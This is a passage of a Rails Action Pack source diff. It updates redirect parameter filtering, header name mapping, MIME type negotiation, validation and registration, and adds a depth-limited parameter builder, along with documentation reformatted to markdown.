-        query_string.gsub(PAIR_RE) do |_|
-          parameter_filter.filter([[$1, $2]]).first.join("=")
+        parts = query_string.split(/([&;])/)
+        filtered_parts = parts.map do |part|
+          if part.include?("=")
+            key, value = part.split("=", 2)
+            parameter_filter.filter(key => value).first.join("=")
+          else
+            part
+          end
         end
+        filtered_parts.join("")
       end
     end
   end
diff --git a/actionpack/lib/action_dispatch/http/filter_redirect.rb b/actionpack/lib/action_dispatch/http/filter_redirect.rb
index fc3c44582a3af..ed9e81f7a3dd3 100644
--- a/actionpack/lib/action_dispatch/http/filter_redirect.rb
+++ b/actionpack/lib/action_dispatch/http/filter_redirect.rb
@@ -1,18 +1,21 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
 module ActionDispatch
   module Http
     module FilterRedirect
-      FILTERED = "[FILTERED]".freeze # :nodoc:
+      FILTERED = "[FILTERED]" # :nodoc:
 
       def filtered_location # :nodoc:
         if location_filter_match?
           FILTERED
         else
-          location
+          parameter_filtered_location
         end
       end
 
     private
-
       def location_filters
         if request
           request.get_header("action_dispatch.redirect_filter") || []
@@ -26,9 +29,28 @@ def location_filter_match?
           if String === filter
             location.include?(filter)
           elsif Regexp === filter
-            location =~ filter
+            location.match?(filter)
+          end
+        end
+      end
+
+      def parameter_filtered_location
+        uri = URI.parse(location)
+        unless uri.query.nil? || uri.query.empty?
+          parts = uri.query.split(/([&;])/)
+          filtered_parts = parts.map do |part|
+            if part.include?("=")
+              key, value = part.split("=", 2)
+              request.parameter_filter.filter(key => value).first.join("=")
+            else
+              part
+            end
           end
+          uri.query = filtered_parts.join("")
         end
+        uri.to_s
+      rescue URI::Error
+        FILTERED
       end
     end
   end
diff --git a/actionpack/lib/action_dispatch/http/headers.rb b/actionpack/lib/action_dispatch/http/headers.rb
index 3c03976f03ab9..d703acf3047c1 100644
--- a/actionpack/lib/action_dispatch/http/headers.rb
+++ b/actionpack/lib/action_dispatch/http/headers.rb
@@ -1,24 +1,30 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
 module ActionDispatch
   module Http
+    # # Action Dispatch HTTP Headers
+    #
     # Provides access to the request's HTTP headers from the environment.
     #
-    #   env     = { "CONTENT_TYPE" => "text/plain", "HTTP_USER_AGENT" => "curl/7.43.0" }
-    #   headers = ActionDispatch::Http::Headers.from_hash(env)
-    #   headers["Content-Type"] # => "text/plain"
-    #   headers["User-Agent"] # => "curl/7.43.0"
+    #     env     = { "CONTENT_TYPE" => "text/plain", "HTTP_USER_AGENT" => "curl/7.43.0" }
+    #     headers = ActionDispatch::Http::Headers.from_hash(env)
+    #     headers["Content-Type"] # => "text/plain"
+    #     headers["User-Agent"] # => "curl/7.43.0"
     #
     # Also note that when headers are mapped to CGI-like variables by the Rack
     # server, both dashes and underscores are converted to underscores. This
     # ambiguity cannot be resolved at this stage anymore. Both underscores and
     # dashes have to be interpreted as if they were originally sent as dashes.
     #
-    #   # GET / HTTP/1.1
-    #   # ...
-    #   # User-Agent: curl/7.43.0
-    #   # X_Custom_Header: token
+    #     # GET / HTTP/1.1
+    #     # ...
+    #     # User-Agent: curl/7.43.0
+    #     # X_Custom_Header: token
     #
-    #   headers["X_Custom_Header"] # => nil
-    #   headers["X-Custom-Header"] # => "token"
+    #     headers["X_Custom_Header"] # => nil
+    #     headers["X-Custom-Header"] # => "token"
     class Headers
       CGI_VARIABLES = Set.new(%W[
         AUTH_TYPE
@@ -63,7 +69,7 @@ def []=(key, value)
         @req.set_header env_name(key), value
       end
 
-      # Add a value to a multivalued header like Vary or Accept-Encoding.
+      # Add a value to a multivalued header like `Vary` or `Accept-Encoding`.
       def add(key, value)
         @req.add_header env_name(key), value
       end
@@ -77,11 +83,10 @@ def key?(key)
 
       # Returns the value for the given key mapped to @env.
       #
-      # If the key is not found and an optional code block is not provided,
-      # raises a <tt>KeyError</tt> exception.
+      # If the key is not found and an optional code block is not provided, raises a
+      # `KeyError` exception.
       #
-      # If the code block is provided, then it will be run and
-      # its result returned.
+      # If the code block is provided, then it will be run and its result returned.
       def fetch(key, default = DEFAULT)
         @req.fetch_header(env_name(key)) do
           return default unless default == DEFAULT
@@ -95,16 +100,15 @@ def each(&block)
       end
 
       # Returns a new Http::Headers instance containing the contents of
-      # <tt>headers_or_env</tt> and the original instance.
+      # `headers_or_env` and the original instance.
       def merge(headers_or_env)
         headers = @req.dup.headers
         headers.merge!(headers_or_env)
         headers
       end
 
-      # Adds the contents of <tt>headers_or_env</tt> to original instance
-      # entries; duplicate keys are overwritten with the values from
-      # <tt>headers_or_env</tt>.
+      # Adds the contents of `headers_or_env` to original instance entries; duplicate
+      # keys are overwritten with the values from `headers_or_env`.
       def merge!(headers_or_env)
         headers_or_env.each do |key, value|
           @req.set_header env_name(key), value
@@ -114,14 +118,14 @@ def merge!(headers_or_env)
       def env; @req.env.dup; end
 
       private
-
-        # Converts an HTTP header name to an environment variable name if it is
-        # not contained within the headers hash.
+        # Converts an HTTP header name to an environment variable name if it is not
+        # contained within the headers hash.
         def env_name(key)
           key = key.to_s
-          if key =~ HTTP_HEADER
-            key = key.upcase.tr("-", "_")
-            key = "HTTP_" + key unless CGI_VARIABLES.include?(key)
+          if HTTP_HEADER.match?(key)
+            key = key.upcase
+            key.tr!("-", "_")
+            key.prepend("HTTP_") unless CGI_VARIABLES.include?(key)
           end
           key
         end
diff --git a/actionpack/lib/action_dispatch/http/mime_negotiation.rb b/actionpack/lib/action_dispatch/http/mime_negotiation.rb
index c4fe3a5c09fad..2947c719f17cd 100644
--- a/actionpack/lib/action_dispatch/http/mime_negotiation.rb
+++ b/actionpack/lib/action_dispatch/http/mime_negotiation.rb
@@ -1,3 +1,7 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
 require "active_support/core_ext/module/attribute_accessors"
 
 module ActionDispatch
@@ -5,30 +9,31 @@ module Http
     module MimeNegotiation
       extend ActiveSupport::Concern
 
+      class InvalidType < ::Mime::Type::InvalidMimeType; end
+
+      RESCUABLE_MIME_FORMAT_ERRORS = [
+        ActionController::BadRequest,
+        ActionDispatch::Http::Parameters::ParseError,
+      ]
+
       included do
-        mattr_accessor :ignore_accept_header
-        self.ignore_accept_header = false
+        mattr_accessor :ignore_accept_header, default: false
       end
 
-      # The MIME type of the HTTP request, such as Mime[:xml].
-      #
-      # For backward compatibility, the post \format is extracted from the
-      # X-Post-Data-Format HTTP header if present.
+      # The MIME type of the HTTP request, such as [Mime](:xml).
       def content_mime_type
         fetch_header("action_dispatch.request.content_type") do |k|
-          v = if get_header("CONTENT_TYPE") =~ /^([^,\;]*)/
+          v = if get_header("CONTENT_TYPE") =~ /^([^,;]*)/
             Mime::Type.lookup($1.strip.downcase)
           else
             nil
           end
           set_header k, v
+        rescue ::Mime::Type::InvalidMimeType => e
+          raise InvalidType, e.message
         end
       end
 
-      def content_type
-        content_mime_type && content_mime_type.to_s
-      end
-
       def has_content_type? # :nodoc:
         get_header "CONTENT_TYPE"
       end
@@ -44,31 +49,32 @@ def accepts
             Mime::Type.parse(header)
           end
           set_header k, v
+        rescue ::Mime::Type::InvalidMimeType => e
+          raise InvalidType, e.message
         end
       end
 
-      # Returns the MIME type for the \format used in the request.
+      # Returns the MIME type for the format used in the request.
+      #
+      #     # GET /posts/5.xml
+      #     request.format # => Mime[:xml]
+      #
+      #     # GET /posts/5.xhtml
+      #     request.format # => Mime[:html]
       #
-      #   GET /posts/5.xml   | request.format => Mime[:xml]
-      #   GET /posts/5.xhtml | request.format => Mime[:html]
-      #   GET /posts/5       | request.format => Mime[:html] or Mime[:js], or request.accepts.first
+      #     # GET /posts/5
+      #     request.format # => Mime[:html] or Mime[:js], or request.accepts.first
       #
-      def format(view_path = [])
+      def format(_view_path = nil)
         formats.first || Mime::NullType.instance
       end
 
       def formats
         fetch_header("action_dispatch.request.formats") do |k|
-          params_readable = begin
-                              parameters[:format]
-                            rescue ActionController::BadRequest
-                              false
-                            end
-
-          v = if params_readable
+          v = if params_readable?
             Array(Mime[parameters[:format]])
           elsif use_accept_header && valid_accept_header
-            accepts
+            accepts.dup
           elsif extension_format = format_from_path_extension
             [extension_format]
           elsif xhr?
@@ -76,58 +82,115 @@ def formats
           else
             [Mime[:html]]
           end
+
+          v.select! do |format|
+            format.symbol || format.ref == "*/*"
+          end
+
           set_header k, v
         end
       end
 
-      # Sets the \variant for template.
+      # Sets the \variant for the response template.
+      #
+      # When determining which template to render, Action View will incorporate
+      # all variants from the request. For example, if an
+      # `ArticlesController#index` action needs to respond to
+      # `request.variant = [:ios, :turbo_native]`, it will render the
+      # first template file it can find in the following list:
+      #
+      # - `app/views/articles/index.html+ios.erb`
+      # - `app/views/articles/index.html+turbo_native.erb`
+      # - `app/views/articles/index.html.erb`
+      #
+      # Variants add context to the requests that views render appropriately.
+      # Variant names are arbitrary, and can communicate anything from the
+      # request's platform (`:android`, `:ios`, `:linux`, `:macos`, `:windows`)
+      # to its browser (`:chrome`, `:edge`, `:firefox`, `:safari`), to the type
+      # of user (`:admin`, `:guest`, `:user`).
+      #
+      # Note: Adding many new variant templates with similarities to existing
+      # template files can make maintaining your view code more difficult.
+      #
+      # #### Parameters
+      #
+      # * `variant` - a symbol name or an array of symbol names for variants
+      #   used to render the response template
+      #
+      # #### Examples
+      #
+      #     class ApplicationController < ActionController::Base
+      #       before_action :determine_variants
+      #
+      #       private
+      #         def determine_variants
+      #           variants = []
+      #
+      #           # some code to determine the variant(s) to use
+      #
+      #           variants << :ios if request.user_agent.include?("iOS")
+      #           variants << :turbo_native if request.user_agent.include?("Turbo Native")
+      #
+      #           request.variant = variants
+      #         end
+      #     end
       def variant=(variant)
         variant = Array(variant)
 
-        if variant.all? { |v| v.is_a?(Symbol) }
+        if variant.all?(Symbol)
           @variant = ActiveSupport::ArrayInquirer.new(variant)
         else
-          raise ArgumentError, "request.variant must be set to a Symbol or an Array of Symbols. " \
-            "For security reasons, never directly set the variant to a user-provided value, " \
-            "like params[:variant].to_sym. Check user-provided value against a whitelist first, " \
-            "then set the variant: request.variant = :tablet if params[:variant] == 'tablet'"
+          raise ArgumentError, "request.variant must be set to a Symbol or an Array of Symbols."
         end
       end
 
+      # Returns the \variant for the response template as an instance of
+      # ActiveSupport::ArrayInquirer.
+      #
+      #     request.variant = :phone
+      #     request.variant.phone?  # => true
+      #     request.variant.tablet? # => false
+      #
+      #     request.variant = [:phone, :tablet]
+      #     request.variant.phone?                  # => true
+      #     request.variant.desktop?                # => false
+      #     request.variant.any?(:phone, :desktop)  # => true
+      #     request.variant.any?(:desktop, :watch)  # => false
       def variant
         @variant ||= ActiveSupport::ArrayInquirer.new
       end
 
-      # Sets the \format by string extension, which can be used to force custom formats
+      # Sets the format by string extension, which can be used to force custom formats
       # that are not controlled by the extension.
       #
-      #   class ApplicationController < ActionController::Base
-      #     before_action :adjust_format_for_iphone
+      #     class ApplicationController < ActionController::Base
+      #       before_action :adjust_format_for_iphone
       #
-      #     private
-      #       def adjust_format_for_iphone
-      #         request.format = :iphone if request.env["HTTP_USER_AGENT"][/iPhone/]
-      #       end
-      #   end
+      #       private
+      #         def adjust_format_for_iphone
+      #           request.format = :iphone if request.env["HTTP_USER_AGENT"][/iPhone/]
+      #         end
+      #     end
       def format=(extension)
         parameters[:format] = extension.to_s
         set_header "action_dispatch.request.formats", [Mime::Type.lookup_by_extension(parameters[:format])]
       end
 
-      # Sets the \formats by string extensions. This differs from #format= by allowing you
-      # to set multiple, ordered formats, which is useful when you want to have a fallback.
+      # Sets the formats by string extensions. This differs from #format= by allowing
+      # you to set multiple, ordered formats, which is useful when you want to have a
+      # fallback.
       #
-      # In this example, the :iphone format will be used if it's available, otherwise it'll fallback
-      # to the :html format.
+      # In this example, the `:iphone` format will be used if it's available,
+      # otherwise it'll fall back to the `:html` format.
       #
-      #   class ApplicationController < ActionController::Base
-      #     before_action :adjust_format_for_iphone_with_html_fallback
+      #     class ApplicationController < ActionController::Base
+      #       before_action :adjust_format_for_iphone_with_html_fallback
       #
-      #     private
-      #       def adjust_format_for_iphone_with_html_fallback
-      #         request.formats = [ :iphone, :html ] if request.env["HTTP_USER_AGENT"][/iPhone/]
-      #       end
-      #   end
+      #       private
+      #         def adjust_format_for_iphone_with_html_fallback
+      #           request.formats = [ :iphone, :html ] if request.env["HTTP_USER_AGENT"][/iPhone/]
+      #         end
+      #     end
       def formats=(extensions)
         parameters[:format] = extensions.first.to_s
         set_header "action_dispatch.request.formats", extensions.collect { |extension|
@@ -135,9 +198,7 @@ def formats=(extensions)
         }
       end
 
-      # Receives an array of mimes and return the first user sent mime that
-      # matches the order array.
-      #
+      # Returns the first MIME type that matches the provided array of MIME types.
       def negotiate_mime(order)
         formats.each do |priority|
           if priority == Mime::ALL
@@ -150,20 +211,31 @@ def negotiate_mime(order)
         order.include?(Mime::ALL) ? format : nil
       end
 
-      private
+      def should_apply_vary_header?
+        !params_readable? && use_accept_header && valid_accept_header
+      end
 
+      private
+        # We use normal content negotiation unless you include **/** in your list, in
+        # which case we assume you're a browser and send HTML.
         BROWSER_LIKE_ACCEPTS = /,\s*\*\/\*|\*\/\*\s*,/
 
-        def valid_accept_header # :doc:
+        def params_readable?
+          parameters[:format]
+        rescue *RESCUABLE_MIME_FORMAT_ERRORS
+          false
+        end
+
+        def valid_accept_header
           (xhr? && (accept.present? || content_mime_type)) ||
-            (accept.present? && accept !~ BROWSER_LIKE_ACCEPTS)
+            (accept.present? && !accept.match?(BROWSER_LIKE_ACCEPTS))
         end
 
-        def use_accept_header # :doc:
+        def use_accept_header
           !self.class.ignore_accept_header
         end
 
-        def format_from_path_extension # :doc:
+        def format_from_path_extension
           path = get_header("action_dispatch.original_path") || get_header("PATH_INFO")
           if match = path && path.match(/\.(\w+)\z/)
             Mime[match.captures.first]
diff --git a/actionpack/lib/action_dispatch/http/mime_type.rb b/actionpack/lib/action_dispatch/http/mime_type.rb
index 1583a8f87f364..e91d2b1371814 100644
--- a/actionpack/lib/action_dispatch/http/mime_type.rb
+++ b/actionpack/lib/action_dispatch/http/mime_type.rb
@@ -1,32 +1,45 @@
-# -*- frozen-string-literal: true -*-
+# frozen_string_literal: true
+
+# :markup: markdown
 
 require "singleton"
-require "active_support/core_ext/string/starts_ends_with"
 
 module Mime
   class Mimes
+    attr_reader :symbols
+
     include Enumerable
 
     def initialize
       @mimes = []
-      @symbols = nil
+      @symbols = []
+      @symbols_set = Set.new
     end
 
-    def each
-      @mimes.each { |x| yield x }
+    def each(&block)
+      @mimes.each(&block)
     end
 
     def <<(type)
       @mimes << type
-      @symbols = nil
+      sym_type = type.to_sym
+      @symbols << sym_type
+      @symbols_set << sym_type
     end
 
     def delete_if
-      @mimes.delete_if { |x| yield x }.tap { @symbols = nil }
+      @mimes.delete_if do |x|
+        if yield x
+          sym_type = x.to_sym
+          @symbols.delete(sym_type)
+          @symbols_set.delete(sym_type)
+          true
+        end
+      end
     end
 
-    def symbols
-      @symbols ||= map(&:to_sym)
+    def valid_symbols?(symbols) # :nodoc
+      symbols.all? { |s| @symbols_set.include?(s) }
     end
   end
 
@@ -40,39 +53,48 @@ def [](type)
       Type.lookup_by_extension(type)
     end
 
-    def fetch(type)
+    def symbols
+      SET.symbols
+    end
+
+    def valid_symbols?(symbols) # :nodoc:
+      SET.valid_symbols?(symbols)
+    end
+
+    def fetch(type, &block)
       return type if type.is_a?(Type)
-      EXTENSION_LOOKUP.fetch(type.to_s) { |k| yield k }
+      EXTENSION_LOOKUP.fetch(type.to_s, &block)
     end
   end
 
-  # Encapsulates the notion of a mime type. Can be used at render time, for example, with:
+  # Encapsulates the notion of a MIME type. Can be used at render time, for
+  # example, with:
   #
-  #   class PostsController < ActionController::Base
-  #     def show
-  #       @post = Post.find(params[:id])
+  #     class PostsController < ActionController::Base
+  #       def show
+  #         @post = Post.find(params[:id])
   #
-  #       respond_to do |format|
-  #         format.html
-  #         format.ics { render body: @post.to_ics, mime_type: Mime::Type.lookup("text/calendar")  }
-  #         format.xml { render xml: @post }
+  #         respond_to do |format|
+  #           format.html
+  #           format.ics { render body: @post.to_ics, mime_type: Mime::Type.lookup("text/calendar")  }
+  #           format.xml { render xml: @post }
+  #         end
   #       end
   #     end
-  #   end
   class Type
     attr_reader :symbol
 
     @register_callbacks = []
 
-    # A simple helper class used in parsing the accept header
-    class AcceptItem #:nodoc:
+    # A simple helper class used in parsing the accept header.
+    class AcceptItem # :nodoc:
       attr_accessor :index, :name, :q
       alias :to_s :name
 
       def initialize(index, name, q = nil)
         @index = index
         @name = name
-        q ||= 0.0 if @name == "*/*".freeze # default wildcard match to end of list
+        q ||= 0.0 if @name == "*/*" # Default wildcard match to end of list.
         @q = ((q || 1.0).to_f * 100).to_i
       end
 
@@ -83,29 +105,29 @@ def <=>(item)
       end
     end
 
-    class AcceptList #:nodoc:
+    class AcceptList # :nodoc:
       def self.sort!(list)
         list.sort!
 
         text_xml_idx = find_item_by_name list, "text/xml"
         app_xml_idx = find_item_by_name list, Mime[:xml].to_s
 
-        # Take care of the broken text/xml entry by renaming or deleting it
+        # Take care of the broken text/xml entry by renaming or deleting it.
         if text_xml_idx && app_xml_idx
           app_xml = list[app_xml_idx]
           text_xml = list[text_xml_idx]
 
-          app_xml.q = [text_xml.q, app_xml.q].max # set the q value to the max of the two
-          if app_xml_idx > text_xml_idx  # make sure app_xml is ahead of text_xml in the list
+          app_xml.q = [text_xml.q, app_xml.q].max # Set the q value to the max of the two.
+          if app_xml_idx > text_xml_idx  # Make sure app_xml is ahead of text_xml in the list.
             list[app_xml_idx], list[text_xml_idx] = text_xml, app_xml
             app_xml_idx, text_xml_idx = text_xml_idx, app_xml_idx
           end
-          list.delete_at(text_xml_idx)                 # delete text_xml from the list
+          list.delete_at(text_xml_idx)  # Delete text_xml from the list.
         elsif text_xml_idx
           list[text_xml_idx].name = Mime[:xml].to_s
         end
 
-        # Look for more specific XML-based types and sort them ahead of app/xml
+        # Look for more specific XML-based types and sort them ahead of app/xml.
         if app_xml_idx
           app_xml = list[app_xml_idx]
           idx = app_xml_idx
@@ -114,7 +136,7 @@ def self.sort!(list)
             type = list[idx]
             break if type.q < app_xml.q
 
-            if type.name.ends_with? "+xml"
+            if type.name.end_with? "+xml"
               list[app_xml_idx], list[idx] = list[idx], app_xml
               app_xml_idx = idx
             end
@@ -133,13 +155,20 @@ def self.find_item_by_name(array, name)
 
     class << self
       TRAILING_STAR_REGEXP = /^(text|application)\/\*/
-      PARAMETER_SEPARATOR_REGEXP = /;\s*\w+="?\w+"?/
+      # all media-type parameters need to be before the q-parameter
+      # https://www.rfc-editor.org/rfc/rfc7231#section-5.3.2
+      PARAMETER_SEPARATOR_REGEXP = /;\s*q="?/
+      ACCEPT_HEADER_REGEXP = /[^,\s"](?:[^,"]|"[^"]*")*/
 
       def register_callback(&block)
         @register_callbacks << block
       end
 
       def lookup(string)
+        return LOOKUP[string] if LOOKUP.key?(string)
+
+        # fallback to the media-type without parameters if it was not found
+        string = string.split(";", 2)[0]&.rstrip
         LOOKUP[string] || Type.new(string)
       end
 
@@ -147,8 +176,9 @@ def lookup_by_extension(extension)
         EXTENSION_LOOKUP[extension.to_s]
       end
 
-      # Registers an alias that's not used on mime type lookup, but can be referenced directly. Especially useful for
-      # rendering different HTML versions depending on the user agent, like an iPhone.
+      # Registers an alias that's not used on MIME type lookup, but can be referenced
+      # directly. Especially useful for rendering different HTML versions depending on
+      # the user agent, like an iPhone.
       def register_alias(string, symbol, extension_synonyms = [])
         register(string, symbol, [], extension_synonyms, true)
       end
@@ -169,11 +199,14 @@ def register(string, symbol, mime_type_synonyms = [], extension_synonyms = [], s
 
       def parse(accept_header)
         if !accept_header.include?(",")
-          accept_header = accept_header.split(PARAMETER_SEPARATOR_REGEXP).first
-          parse_trailing_star(accept_header) || [Mime::Type.lookup(accept_header)].compact
+          if (index = accept_header.index(PARAMETER_SEPARATOR_REGEXP))
+            accept_header = accept_header[0, index].strip
+          end
+          return [] if accept_header.blank?
+          parse_trailing_star(accept_header) || Array(Mime::Type.lookup(accept_header))
         else
           list, index = [], 0
-          accept_header.split(",").each do |header|
+          accept_header.scan(ACCEPT_HEADER_REGEXP).each do |header|
             params, q = header.split(PARAMETER_SEPARATOR_REGEXP)
 
             next unless params
@@ -195,20 +228,20 @@ def parse_trailing_star(accept_header)
         parse_data_with_trailing_star($1) if accept_header =~ TRAILING_STAR_REGEXP
       end
 
-      # For an input of <tt>'text'</tt>, returns <tt>[Mime[:json], Mime[:xml], Mime[:ics],
-      # Mime[:html], Mime[:css], Mime[:csv], Mime[:js], Mime[:yaml], Mime[:text]</tt>.
+      # For an input of `'text'`, returns `[Mime[:json], Mime[:xml], Mime[:ics],
+      # Mime[:html], Mime[:css], Mime[:csv], Mime[:js], Mime[:yaml], Mime[:text]]`.
       #
-      # For an input of <tt>'application'</tt>, returns <tt>[Mime[:html], Mime[:js],
-      # Mime[:xml], Mime[:yaml], Mime[:atom], Mime[:json], Mime[:rss], Mime[:url_encoded_form]</tt>.
+      # For an input of `'application'`, returns `[Mime[:html], Mime[:js], Mime[:xml],
+      # Mime[:yaml], Mime[:atom], Mime[:json], Mime[:rss], Mime[:url_encoded_form]]`.
       def parse_data_with_trailing_star(type)
-        Mime::SET.select { |m| m =~ type }
+        Mime::SET.select { |m| m.match?(type) }
       end
 
       # This method is opposite of register method.
       #
       # To unregister a MIME type:
       #
-      #   Mime::Type.unregister(:mobile)
+      #     Mime::Type.unregister(:mobile)
       def unregister(symbol)
         symbol = symbol.downcase
         if mime = Mime[symbol]
@@ -221,7 +254,17 @@ def unregister(symbol)
 
     attr_reader :hash
 
+    MIME_NAME = "[a-zA-Z0-9][a-zA-Z0-9#{Regexp.escape('!#$&-^_.+')}]{0,126}"
+    MIME_PARAMETER_VALUE = "(?:#{MIME_NAME}|\"[^\"\r\\\\]*\")"
+    MIME_PARAMETER = "\s*;\s*#{MIME_NAME}(?:=#{MIME_PARAMETER_VALUE})?"
+    MIME_REGEXP = /\A(?:\*\/\*|#{MIME_NAME}\/(?:\*|#{MIME_NAME})(?>#{MIME_PARAMETER})*\s*)\z/
+
+    class InvalidMimeType < StandardError; end
+
     def initialize(string, symbol = nil, synonyms = [])
+      unless MIME_REGEXP.match?(string)
+        raise InvalidMimeType, "#{string.inspect} is not a valid MIME type"
+      end
       @symbol, @synonyms = symbol, synonyms
       @string = string
       @hash = [@string, @synonyms, @symbol].hash
@@ -271,25 +314,27 @@ def =~(mime_type)
       @synonyms.any? { |synonym| synonym.to_s =~ regexp } || @string =~ regexp
     end
 
+    def match?(mime_type)
+      return false unless mime_type
+      regexp = Regexp.new(Regexp.quote(mime_type.to_s))
+      @synonyms.any? { |synonym| synonym.to_s.match?(regexp) } || @string.match?(regexp)
+    end
+
     def html?
-      symbol == :html || @string =~ /html/
+      (symbol == :html) || @string.include?("html")
     end
 
     def all?; false; end
 
-    # TODO Change this to private once we've dropped Ruby 2.2 support.
-    # Workaround for Ruby 2.2 "private attribute?" warning.
     protected
-
       attr_reader :string, :synonyms
 
     private
-
       def to_ary; end
       def to_a; end
 
-      def method_missing(method, *args)
-        if method.to_s.ends_with? "?"
+      def method_missing(method, ...)
+        if method.end_with?("?")
           method[0..-2].downcase.to_sym == to_sym
         else
           super
@@ -297,7 +342,7 @@ def method_missing(method, *args)
       end
 
       def respond_to_missing?(method, include_private = false)
-        (method.to_s.ends_with? "?") || super
+        method.end_with?("?") || super
       end
   end
 
@@ -305,16 +350,16 @@ class AllType < Type
     include Singleton
 
     def initialize
-      super "*/*", :all
+      super "*/*", nil
     end
 
     def all?; true; end
     def html?; true; end
   end
 
-  # ALL isn't a real MIME type, so we don't register it for lookup with the
-  # other concrete types. It's a wildcard match that we use for `respond_to`
-  # negotiation internals.
+  # ALL isn't a real MIME type, so we don't register it for lookup with the other
+  # concrete types. It's a wildcard match that we use for `respond_to` negotiation
+  # internals.
   ALL = AllType.instance
 
   class NullType
@@ -324,15 +369,19 @@ def nil?
       true
     end
 
-    def ref; end
-
-    def respond_to_missing?(method, include_private = false)
-      method.to_s.ends_with? "?"
+    def to_s
+      ""
     end
 
+    def ref; end
+
     private
-      def method_missing(method, *args)
-        false if method.to_s.ends_with? "?"
+      def respond_to_missing?(method, _)
+        method.end_with?("?")
+      end
+
+      def method_missing(method, ...)
+        false if method.end_with?("?")
       end
   end
 end
diff --git a/actionpack/lib/action_dispatch/http/mime_types.rb b/actionpack/lib/action_dispatch/http/mime_types.rb
index 8b04174f1feb6..f03c7e1981846 100644
--- a/actionpack/lib/action_dispatch/http/mime_types.rb
+++ b/actionpack/lib/action_dispatch/http/mime_types.rb
@@ -1,5 +1,9 @@
+# frozen_string_literal: true
+
 # Build list of Mime types for HTTP responses
-# http://www.iana.org/assignments/media-types/
+# https://www.iana.org/assignments/media-types/
+
+# :markup: markdown
 
 Mime::Type.register "text/html", :html, %w( application/xhtml+xml ), %w( xhtml )
 Mime::Type.register "text/plain", :text, [], %w(txt)
@@ -8,16 +12,31 @@
 Mime::Type.register "text/calendar", :ics
 Mime::Type.register "text/csv", :csv
 Mime::Type.register "text/vcard", :vcf
+Mime::Type.register "text/vtt", :vtt, %w(vtt)
+Mime::Type.register "text/markdown", :md, [], %w(md markdown)
 
 Mime::Type.register "image/png", :png, [], %w(png)
 Mime::Type.register "image/jpeg", :jpeg, [], %w(jpg jpeg jpe pjpeg)
 Mime::Type.register "image/gif", :gif, [], %w(gif)
 Mime::Type.register "image/bmp", :bmp, [], %w(bmp)
 Mime::Type.register "image/tiff", :tiff, [], %w(tif tiff)
-Mime::Type.register "image/svg+xml", :svg
+Mime::Type.register "image/svg+xml", :svg, [], %w(svg)
+Mime::Type.register "image/webp", :webp, [], %w(webp)
 
 Mime::Type.register "video/mpeg", :mpeg, [], %w(mpg mpeg mpe)
 
+Mime::Type.register "audio/mpeg", :mp3, [], %w(mp1 mp2 mp3)
+Mime::Type.register "audio/ogg", :ogg, [], %w(oga ogg spx opus)
+Mime::Type.register "audio/aac", :m4a, %w( audio/mp4 ), %w(m4a mpg4 aac)
+
+Mime::Type.register "video/webm", :webm, [], %w(webm)
+Mime::Type.register "video/mp4", :mp4, [], %w(mp4 m4v)
+
+Mime::Type.register "font/otf", :otf, [], %w(otf)
+Mime::Type.register "font/ttf", :ttf, [], %w(ttf)
+Mime::Type.register "font/woff", :woff, [], %w(woff)
+Mime::Type.register "font/woff2", :woff2, [], %w(woff2)
+
 Mime::Type.register "application/xml", :xml, %w( text/xml application/x-xml )
 Mime::Type.register "application/rss+xml", :rss
 Mime::Type.register "application/atom+xml", :atom
@@ -26,9 +45,10 @@
 Mime::Type.register "multipart/form-data", :multipart_form
 Mime::Type.register "application/x-www-form-urlencoded", :url_encoded_form
 
-# http://www.ietf.org/rfc/rfc4627.txt
+# https://www.ietf.org/rfc/rfc4627.txt
 # http://www.json.org/JSONRequest.html
-Mime::Type.register "application/json", :json, %w( text/x-json application/jsonrequest )
+# https://www.ietf.org/rfc/rfc7807.txt
+Mime::Type.register "application/json", :json, %w( text/x-json application/jsonrequest application/problem+json )
 
 Mime::Type.register "application/pdf", :pdf, [], %w(pdf)
 Mime::Type.register "application/zip", :zip, [], %w(zip)
diff --git a/actionpack/lib/action_dispatch/http/param_builder.rb b/actionpack/lib/action_dispatch/http/param_builder.rb
new file mode 100644
index 0000000000000..6e8a9e1281293
--- /dev/null
+++ b/actionpack/lib/action_dispatch/http/param_builder.rb
@@ -0,0 +1,187 @@
+# frozen_string_literal: true
+
+module ActionDispatch
+  class ParamBuilder
+    # --
+    # This implementation is based on Rack::QueryParser,
+    # Copyright (C) 2007-2021 Leah Neukirchen <http://leahneukirchen.org/infopage.html>
+
+    def self.make_default(param_depth_limit)
+      new param_depth_limit
+    end
+
+    attr_reader :param_depth_limit
+
+    def initialize(param_depth_limit)
+      @param_depth_limit = param_depth_limit
+    end
+
+    cattr_accessor :default
+    self.default = make_default(100)
+
+    class << self
+      delegate :from_query_string, :from_pairs, :from_hash, to: :default
+
+      def ignore_leading_brackets
+        ActionDispatch.deprecator.warn <<~MSG
+          ActionDispatch::ParamBuilder.ignore_leading_brackets is deprecated and have no effect and will be removed in Rails 8.2.
+        MSG
+
+        @ignore_leading_brackets
+      end
+
+      def ignore_leading_brackets=(value)
+        ActionDispatch.deprecator.warn <<~MSG
+          ActionDispatch::ParamBuilder.ignore_leading_brackets is deprecated and have no effect and will be removed in Rails 8.2.
+        MSG
+
+        @ignore_leading_brackets = value
+      end
+    end
+
+    def from_query_string(qs, separator: nil, encoding_template: nil)
+      from_pairs QueryParser.each_pair(qs, separator), encoding_template: encoding_template
+    end
+
+    def from_pairs(pairs, encoding_template: nil)
+      params = make_params
+
+      pairs.each do |k, v|
+        if Hash === v
+          v = ActionDispatch::Http::UploadedFile.new(v)
+        end
+
+        store_nested_param(params, k, v, 0, encoding_template)
+      end
+
+      params
+    rescue ArgumentError => e
+      raise InvalidParameterError, e.message, e.backtrace
+    end
+
+    def from_hash(hash, encoding_template: nil)
+      # Force encodings from encoding template
+      hash = Request::Utils::CustomParamEncoder.encode_for_template(hash, encoding_template)
+
+      # Assert valid encoding
+      Request::Utils.check_param_encoding(hash)
+
+      # Convert hashes to HWIA (or UploadedFile), and deep-munge nils
+      # out of arrays
+      hash = Request::Utils.normalize_encode_params(hash)
+
+      hash
+    end
+
+    private
+      def store_nested_param(params, name, v, depth, encoding_template = nil)
+        raise ParamsTooDeepError if depth >= param_depth_limit
+
+        if !name
+          # nil name, treat same as empty string (required by tests)
+          k = after = ""
+        elsif depth == 0
+          # Start of parsing, don't treat [] or [ at start of string specially
+          if start = name.index("[", 1)
+            # Start of parameter nesting, use part before brackets as key
+            k = name[0, start]
+            after = name[start, name.length]
+          else
+            # Plain parameter with no nesting
